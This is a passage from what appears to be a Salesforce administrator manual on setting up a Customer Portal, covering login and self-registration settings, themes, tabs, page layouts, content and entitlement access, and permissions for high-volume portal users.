Notifications include information about registration errors
and any other issues self-registering customers may
1313
Customer Portal Setting Up Your Customer Portal
Setting Description
experience, such as inadvertently entering duplicate email
addresses, creating duplicate contact records, and exceeding
your organization's user license limit.
When choosing an administrator for your Customer Portal,
you can only select users that have the “Edit Self-Service
Users” permission. Furthermore, you cannot deactivate a
user selected as a portal administrator. For more information,
see Deactivating Users on page 449.
Logout URL The URL of the Web page that displays when users log out
of the Customer Portal, for example,
“http://www.acme.com.” If a logout URL is not specified,
portal users return to the login page when they log out.
Top-Level Category for Portal The top-level category accessible by customers in the
Customer Portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
This field is available only if you have enabled solution
browsing. See Customizing Solution Settings on page 1118.
Enable Self-Close Case from Suggested Allows users to close cases in the Customer Portal directly
Solutions from suggested solutions. For example, when a user views a
suggested solution that helps them solve a case, he or she
can click Yes, please close my case if this setting is enabled.
1314
Customer Portal Setting Up Your Customer Portal
Show Action Confirmation Allows users to view confirmation messages after they
complete an action in the Customer Portal. For example,
after a user creates a case in your Customer Portal, he or she
views the message: “Case has been submitted” if this setting
has been enabled.
Confirmation messages may help users clearly understand
actions they have completed in your Customer Portal.
1315
Customer Portal Setting Up Your Customer Portal
Change Owner to Portal User Template The email template used to send a notification to Customer
Portal users when they become the new owner of a record
in the portal. To create your own template, see Managing
Email Templates on page 423.This template must be marked
as Available for Use.
Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking
the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal
Setup page. For more information, see Creating Multiple Customer Portals on page 1309.
Tip: If you plan to use the same communication template for different objects, such as the Change Owner to
Portal User Template, we recommend that you include text and merge fields on the template that are appropriate
for both objects. For example, if your organization has a Warranty custom object and a Training custom object,
and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template
should read: “A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}.” When the template is
sent, only the relevant merge fields will display.
1316
Customer Portal Setting Up Your Customer Portal
Login Message A text or HTML file that allows you to incorporate your
organization’s branding into the header of the login page,
forgot password page, and change password page of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab.
The file you include in the Login Message lookup field
can be up to 2 KB.
Note: JavaScript and CSS code are automatically
removed from HTML files used as the portal login
message.
Self-Registration Settings
Setting Description
Self-Registration Enabled Allows existing contacts to register themselves for access to
your Customer Portal.
When you select this checkbox and add the Allow
Customer Portal Self-Registration checkbox to
contact page layouts, contacts whose records are marked
Allow Customer Portal Self-Registration can
view a self-registration area on the Login page of your
Customer Portal. From the self-registration area, users can
enter their email address and click Submit to receive an
1317
Customer Portal Setting Up Your Customer Portal
Self-Registration Settings
Setting Description
automatically assigned username and password for logging
in to your Customer Portal. Other email notifications sent
to users regarding their registration status include:
New User Form URL Allows you to specify the URL of a Web-to-Lead or
Web-to-Case form for users who self-register for access to
your Customer Portal.
The URL to this form is offered via the template selected
in the Registration Error Template field to
self-registering users who lack an existing contact record, so
that their information can be captured and converted to a
contact.
1318
Customer Portal Setting Up Your Customer Portal
Self-Registration Settings
Setting Description
For more information about setting up Web-to-Lead or
Web-to-Case, see Capturing Web Leads on page 1073 and
Capturing Web Cases on page 1114.
Registration Error Template The email template sent to users who self-register for your
Customer Portal, but experience a registration error, or need
to complete a Web-to-Case or Web-to-Lead form to register
for your portal. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 423. This
template must be marked as Available for Use.
The From Email Address and From Email Name fields
on Customer Portal settings specify who this template is
sent from.
See Also:
Setting Up Your Customer Portal
1319
Customer Portal Setting Up Your Customer Portal
You can customize the fonts and colors of the Salesforce.com Customer Portal to reflect your company’s branding. Your
portal’s fonts and colors are specified in a portal “color theme.” Select a predefined color theme and optionally, customize it
to better match your branding. You can click the See examples link to see all of the theme attributes you can customize.
When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options,
which when customized, automatically display in the Preview sections:
Tab Styles
Theme Attribute Description
Current Tab Text Text color of the tab users have selected.
Current Tab Background Background color of the tab users have selected.
Current Tab Border Border color of the tab users have selected.
Other Tab Text Text color of the tabs users have not selected.
Other Tab Background Background color of the tabs users have not selected.
Other Tab Border Border color of the tabs users have not selected.
Tab Bar Background Background color behind all tabs.
1320
Customer Portal Setting Up Your Customer Portal
Page Styles
Theme Attribute Description
Page Background Portal background color, excluding search, related lists,
recent items, solution categories, document folders, and the
Create New drop-down list.
Text Text color, size, and font on all portal items, except for tabs,
buttons, headers, and field labels.
Optionally, you can change the percent displayed in the
percent field to increase or decrease the size of all portal
items. Additionally, you can change the font of all portal
items, except for tabs, buttons, headers, and field labels from
the drop-down list.
Section Styles
Theme Attribute Description
Header Background Background color of all headings, including search, recent
items, related lists, solution categories, documents folders,
and the selected tab.
Section Header Text Text color and font on the headers of search, related lists,
recent items, solution categories, and document folders.
Optionally, you can change the font of the text from the
drop-down list.
Left Border Border to the left of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.
1321
Customer Portal Setting Up Your Customer Portal
Section Styles
Theme Attribute Description
Right Border Border to the right of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.
Top Border Border above search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.
Bottom Border Border underneath search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.
List Styles
Theme Attribute Description
List Header Text Text color of the field names selected as column headings
on list views.
Optionally, you can change the font of the text from the
drop-down list.
1322
Customer Portal Setting Up Your Customer Portal
Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and
Settings on page 1313.
See Also:
Setting Up Your Customer Portal
Customizing Your Customer Portal Tabs
• Answers
• Articles
• Ideas
• Home
• Cases
• Reports
• Solutions
• Web tabs
• Entitlements
• Custom objects
• Service contracts
• Documents from the Documents tab
• Salesforce CRM Content tabs: Workspaces, Content, and Subscriptions
Additionally, the Customer Portal can display the following tabs to delegated portal user administrators:
• Accounts
• Contacts
To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to
portal users:
1323
Customer Portal Setting Up Your Customer Portal
You can further limit the tabs displayed for specific profiles by editing the tab settings on the profile. For example, users with
the Customer Portal User profile have the Cases tab set to Default On. If you don't want users with that profile to see the
Cases tab, you can change the tab settings on the profile to Tab Hidden. See Setting Tab Visibility on page 468.
Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as
the profile has access to each object displayed on a tab.
To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default
On in all Customer Portal profiles.
1324
Customer Portal Setting Up Your Customer Portal
If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding
tabs, see Customizing Your Customer Portal Tabs on page 1323.
See Also:
Setting Up Your Customer Portal
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
You can customize your Salesforce.com Customer Portal pages just as you customize pages in Salesforce.com: with page
layouts.
Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They
also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages
that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce
pages, and determine whether or not a label and scroll bars display.
Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize
the following objects' page layouts for your portal:
• Home
• Tasks
• Events
• Cases
• Assets
• Accounts
• Solutions
• Contacts
• Entitlements
• Custom Objects
• Service Contracts
1325
Customer Portal Setting Up Your Customer Portal
To work with page layouts for custom objects, click Setup ➤ Create ➤ Objects, select a custom object, and choose a page
layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects on page 1385.
To display a custom object in your Customer Portal, you must:
• Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to
a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining
Custom Objects on page 1369.
• Grant user permissions to the custom object on profiles assigned to portal users. For more information, see Viewing and
Editing Profiles on page 465.
• Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For
more information, see Customizing Your Customer Portal Tabs on page 1323.
See Also:
Customizing Your Customer Portal Fonts and Colors
Enabling Customer Portal Login and Settings
Designing Home Tab Page Layouts
Consider the following setup tips and general information about Salesforce.com Customer Portal pages:
Setting Up Cases
• When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case
Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts
for portal users.
• By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service
checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed.
• Do not select the Show Case Email Notification and Show Case Email Notification by default
checkboxes on case page layouts. These features only apply to Salesforce.com users.
• Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may
view comments intended only for Salesforce.com users.
• Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related
to their account.
1326
Customer Portal Setting Up Your Customer Portal
• Include the Contact Name lookup field on case page layouts so that users with “Edit” permissions on that field can
change a case's contact to another portal user in the same account.
• Do not select the Show solution information section, Show Contact Notification checkbox,
and Select Contact Notification checkbox by default checkboxes on close-case page layouts because
their functions only apply to Salesforce.com users.
• Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer
Portal. For more information, see Creating Record Types on page 1005.
• For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case
is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users,
add a rule entry using the criteria Current User: User Type contains Customer Portal and select
the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1047.
• Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you
create record types for cases that contain separate picklist values for them. For more information, see Managing
Record Types on page 1004.
• You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment
button from case page layouts:
1. Edit a case page layout with the enhanced page layout editor.
2. Click Layout Properties.
3. Deselect Show Submit & Add Attachment Button.
4. Click OK.
5. Click Save.
Cases
Note that suggested solutions are only available in organizations where they are enabled. For more information on
suggested solutions, see What are Suggested Solutions? on page 2325. For more information about how Customer
Portal users can self-close their own cases directly from suggested solutions, see Enabling Customer Portal Login
and Settings on page 1313.
1327
Customer Portal Setting Up Your Customer Portal
• If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users
so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1034.
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments
related list. Portal users can download feed attachments, but can't edit or delete them.
Solutions
Home Page
• Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that
when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.
For more information about defining home page components and assigning home page layouts, see Customizing
Home Tab Page Layouts on page 1040.
Note that Customer Portal users whose profile includes the “Is Single Sign-On Enabled” permission cannot change
their username via the Customer Portal Welcome component. For more information on Single Sign-On, see Company
Information Fields on page 398.
• When designing home page layouts for your Customer Portal, we recommend adding the following components:
Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area component that
includes your corporate branding in the wide column.
• Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list
views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page
1040.
• Custom component names do not display in the wide section of the home page in the Customer Portal.
• You can position the logout link anywhere on the header by using the HTML tag: “<a
href="/secur/logout.jsp">Logout</a>.” For more information on the header, see Enabling Customer
Portal Login and Settings on page 1313.
• We recommend not adding the following components to your Customer Portal home page layouts because they are
for Salesforce.com users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot,
Messages & Alerts, and Items To Approve.
Activities
1328
Customer Portal Setting Up Your Customer Portal
Documents
Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to
portal users. For more information, see Managing Folders on page 1057.
Reports
• Portal users can run reports if their profile includes the “Run Reports” permission.
• Portal users can export reports if their profile includes the “Export Reports” permission.
• The Report Options section does not display on report results for portal users because portal users cannot customize
report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does
not display on report results.
• Report results for portal users only include links to objects the portal users have permission to access.
• Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects,
such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal
users. For more information, see Setting Your Organization-Wide Sharing Model on page 523.
• Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have
permission to view.
• By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders,
update the sharing settings on report folders to the All Internal Users group. For more information, see Managing
Folders on page 1057.
Custom Objects
• When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is
no longer available on the Customer Portal, and all of the user permissions for the custom object are automatically
removed from portal profiles. If you select the Available for Customer Portal checkbox on a custom object
again, you must update the user permissions for the custom object on portal profiles.
• Portal users can view, search, and create notes and attachments on custom objects.
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments
related list. Portal users can download feed attachments, but can't edit or delete them.
Articles
For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 2512.
Assets
• Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their workspace
permission.
1329
Customer Portal Setting Up Your Customer Portal
• Portal users with the “View Content on Portals” user permission have view-only access to Salesforce CRM Content.
• Portal users with the “Create Workspaces” user permission can create and administer workspaces.
For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1331.
Answers
For setup information, see Enabling Answers in the Customer Portal on page 1334. When customizing your portal fonts
and colors, note that answers only supports the following changes:
- Page Background
- Text
- Link
- Link Hover
Ideas
For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1335.
Accounts
Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail
page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page
1351.
Contacts
Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating
Customer Portal User Administration and Portal Super User on page 1351.
Only users with the “Portal Super User” permission can view the Contacts tab and edit and detail pages for contacts in
your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1351.
Entitlements
• For set up information, see Enabling Entitlement Management in the Customer Portal on page 1336.
• Add the “Read” permission on entitlements to custom portal profiles; assign the profiles to portal users who need
access to entitlements. See Viewing and Editing Profiles on page 465 and Configuring User Access to the Customer
Portal on page 1342.
• Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases.
See Customizing Page Layouts on page 1014.
• Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't
access information related to your internal support processes: Entitlement Process Start Time, Entitlement
Process End Time, Stopped, and Stopped Since. See Case Fields on page 2294.
• Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated
with their accounts and create cases from entitlements.
• Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators
can create cases automatically associated with the right entitlements. See Delegating Customer Portal User
Administration and Portal Super User on page 1351 and Customizing Page Layouts on page 1014.
1330
Customer Portal Setting Up Your Customer Portal
Service Contracts
• For set up information, see Enabling Entitlement Management in the Customer Portal on page 1336.
• Add the “Read” permission on service contracts to custom portal profiles; assign the profiles to portal users who need
access to service contracts. See Viewing and Editing Profiles on page 465 and Configuring User Access to the Customer
Portal on page 1342.
• Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service
contracts. See Customizing Your Customer Portal Tabs on page 1323.
• Contract line items don't display in the Customer Portal.
See Also:
Customizing Your Customer Portal Pages
Setup Tips and Considerations for Customer Portal Pages
To add users to a Salesforce CRM Content workspace: “Manage Salesforce CRM Content”
OR
Manage Workspace checked in your workspace permission
definition
Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted
to Customer Portal users:
• Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content
if they have the “View Content on Portals” user permission in their user profiles. They cannot view potentially sensitive
data such as usernames and download, version, and subscriber history. The content delivery feature is not available to portal
users.
• Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by
their workspace permission(s), including contributing content, moving and sharing content among workspaces, and deleting
content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.
1331
Customer Portal Setting Up Your Customer Portal
2. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.
3. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.
4. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
5. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.
2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user.
3. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.
4. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.
1332
Customer Portal Setting Up Your Customer Portal
5. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
6. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.
See Also:
Setting Up Your Customer Portal
Enabling Your Customer Portal
Salesforce CRM Content Overview
You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can
view and rate articles but cannot create or edit articles.
After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following
steps to enable Salesforce Knowledge in your portals.
a. Clone the Customer Portal User and/or Customer Portal Manager profiles to include the "View Articles" user permission.
b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile.
3. Assign the cloned profiles to your Customer Portal users:
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on
the contact detail page.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.
1333
Customer Portal Setting Up Your Customer Portal
See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology
You can use the Customer Portal to provide your customers with access to an answers community.
To enable answers in your portal:
- Page Background
- Text
- Link
1334
Customer Portal Setting Up Your Customer Portal
- Link Hover
2. Set up answers, making sure that your answers community is configured to display in the Customer Portal.
3. Add the Answers tab to your Customer Portal.
4. Create Customer Portal users:
a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User.
b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down
menu.
c. Click Save.
5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner
has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers,
then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit
which categories a Customer Portal user can access.
6. If you have High-Volume Customer Portal users, make the data categories these users need to access visible by default.
Because High-Volume Customer Portal users don't have roles, they can only access categorized questions if the associated
data categories have been made visible to all users regardless of role.
7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1323.
See Also:
Answers Overview
What are Data Categories?
1335
Customer Portal Setting Up Your Customer Portal
1. Create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information,
see Creating and Editing Communities on page 1208.
2. Add the Salesforce CRM Ideas tab to your Customer Portal. For more information, see Customizing Your Customer
Portal Tabs on page 1323.
3. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1323.
You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract
line items don't display in the Customer Portal.
After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement
management to your portals.
a. Clone Customer Portal profiles to include the “Read” permission on entitlements or service contracts.
Note: High-Volume Customer Portal users can't access entitlement management.
b. Optionally, on the profiles of delegated Customer Portal user administrators, include the “Create” and “Delete”
permissions on entitlement contacts. This lets delegated portal user administrators update entitlement contacts.
c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles.
3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases.
Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users
shouldn't access information related to your internal support processes: Entitlement Process Start Time,
Entitlement Process End Time, Stopped, and Stopped Since.
4. Optionally, customize related lists on accounts and contacts to add Entitlements.This lets delegated portal user administrators
create cases automatically associated with the right entitlements.
5. Add the Entitlements or Service Contract tabs to each Customer Portal.
6. Assign the cloned profiles to your Customer Portal users:
1336
Customer Portal Setting Up Your Customer Portal
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.
See Also:
Setting Up Your Customer Portal
Entitlement Management Overview
Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can
activate.
The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom
objects your Edition allows. See Salesforce.com Editions and Limits on page 1584.
Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact
salesforce.com.
See Also:
Setting Up Your Customer Portal
1337
Customer Portal About Customer Portal User Management
Managing Customer Portal users is similar to managing regular Salesforce.com users. General user administration concepts
like profiles and page layouts still apply. Review the following advice for managing Customer Portal users:
Note: High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.
1338
Customer Portal About Customer Portal User Management
You can use these groups and the sharing rule category to create sharing rules that:
• Grant Customer Portal or Salesforce.com users access to specific data (except for High Volume Customer Portal users and
Authenticated Website users, because you can't include them in any groups or sharing rules)
• Link Customer Portal users and Salesforce.com users
• Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license
1339
Customer Portal About Customer Portal User Management
Customer Portal Manager Standard Customer Portal User profile or a profile Can only assign to either the Executive,
cloned and customized from the Manager, or User role.
Customer Portal User profile
Can view and edit data they directly own
• Can access custom objects depending or data owned by or shared with users
on profile settings. below them in the Customer Portal role
• Can receive the “Portal Super User” hierarchy; and they can view and edit
permission. cases where they are listed in the
• Can access Salesforce CRM Content Contact Name field.
depending on feature license and
profile settings. See Enabling Can have data shared to them just like
Salesforce CRM Content in the other Salesforce.com users.
Customer Portal on page 1331.
1340
Customer Portal About Customer Portal User Management
Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which
you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple
roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the
same role.
See Also:
Working with Customer Portal Users
Setting Up Your Customer Portal
What is a Person Account?
Configuring Multilingual HTML Messages
Delegating Customer Portal User Administration and Portal Super User
Administrator setup guide: Salesforce Customer Portal Implementation Guide
1341
Customer Portal About Customer Portal User Management
When setting up a Salesforce.com Customer Portal for the first time, configure the following before enabling users to access
your portal:
a. Select the name of a portal from the Customer Portal Setup page.
b. Click Edit Profiles in the Assigned Profiles section.
c. Select the Active checkbox next to the profile you want to assign to the portal.
Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must
assign profiles to each portal you want users to access.
3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets,
and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see
Setting Your Organization-Wide Sharing Model on page 523.
Tip: To maintain Public organization-wide default behavior for Salesforce.com users, while ensuring that portal
users can only view and edit data related to their accounts, you can create self-referencing sharing rules of “All
Internal Users” to “All Internal Users”. For more information, see Setting Sharing Rules on page 536.
4. Optionally, set sharing rules for portal users (with the exception of High Volume Customer Portal users). See Setting
Sharing Rules on page 536.
Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update
those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records
owned by a Salesforce.com user are shared with a portal user.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a
specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
1342
Customer Portal About Customer Portal User Management
You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and
Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this
wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by
all users except for portal users.
5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is
because portal users added to queues may be able to access records from accounts with which they are not related. For more
information, see Viewing and Editing Queues on page 503 and About Groups on page 495.
6. Optionally, add the Welcome component to home page layouts assigned to portal users.
The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips
and Considerations for Customer Portal Pages on page 1326.
7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings
on page 1313.
See Also:
About Customer Portal User Management
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Working with Customer Portal Users
Note:
• High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.
• The High Volume Customer Portal User user license is currently available through a pilot program, while the
Authenticated Website User user license is generally available. For information on enabling High Volume Customer
Portal users, contact salesforce.com.
High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, High Volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations.
Specifically, High Volume Customer Portal users:
1343
Customer Portal About Customer Portal User Management
• High-volume Customer Portal users can't manually share records they own or have access to, but they can transfer such
records.
• They can't access articles.
• You can't transfer cases from non High Volume Customer Portal users to High Volume Customer Portal users.
• High-volume Customer Portal users can't own accounts.
• You can't add case teams to cases owned by High Volume Customer Portal users. Also, if you transfer cases to High
Volume Customer Portal users, any case teams on those case are deleted.
• You can't include High Volume Customer Portal users in:
• Objects with Set Up in the Action column have not been customized for high-volume Customer Portal user
access. Until you configure them, their access is determined by the organization-wide sharing setting.
• Custom objects only display if the Available for Customer Portal field is selected. See Managing
Custom Objects on page 1374.
• To grant access to all High Volume Customer Portal users on an account, select All High Volume Customer
Portal users whose account matches and then select a field. For example, choose this option if you want all
High Volume Customer Portal users in an account to access all of the cases for their account.
• To grant access to an individual contact as a high-volume Customer Portal user, select Only the high-volume
Customer Portal user who matches and then select a field. For example, choose this option if you want
individual High Volume Customer Portal users to only access cases associated with their contact.
1344
Customer Portal About Customer Portal User Management
• To prohibit access to all High Volume Customer Portal users, select Don't grant access to High Volume
Customer Portal users.
See Also:
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal
Setting Visualforce Page Security
Sharing Records Owned by High Volume Customer Portal Users to Salesforce.com Users
Note:
• High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.
• The High Volume Customer Portal User user license is currently available through a pilot program, while the
Authenticated Website User user license is generally available. For information on enabling High Volume Customer
Portal users, contact salesforce.com.
High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, High Volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations. Because High Volume Customer Portal users are not in the role hierarchy
while Salesforce.com users are, a share group allows you to specify the Salesforce.com users who can access records owned by
High Volume Customer Portal users. Each Customer Portal has its own share group.
To specify the Salesforce.com users who can access records owned by High Volume Customer Portal users:
1345
Customer Portal Working with Customer Portal Users
Note: Deactivating a share group removes all Salesforce.com users' access to records owned by High Volume
Customer Portal users. An email isn't sent to you when the deactivation process finishes.
a. From the Search drop-down list, select the type of member to add.
b. If you don't see the member you want to add, enter keywords in the search box and click Find.
c. Select members from the Available Members box, and click Add to add them to the group.
d. Click Save.
See Also:
Granting High Volume Customer Portal Users Access to Objects
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal
1346
Customer Portal Working with Customer Portal Users
Tip: To troubleshoot issues for Customer Portal users, click Work with Portal and choose Login As Portal User on
the portal user's contact detail page. This selection opens a new browser window and automatically logs you into the
portal as the portal user. This option also ensures that the portal is configured appropriately.
The Login As Portal User button is only available if you have the “Edit Self-Service Users” permission and “Edit”
access on the account. The Login As Portal User button does not display for inactive portal users.
See Also:
About Customer Portal User Management
Configuring User Access to the Customer Portal
Granting High Volume Customer Portal Users Access to Objects
You can edit Salesforce.com Customer Portal user information for contacts associated with accounts you have permission to
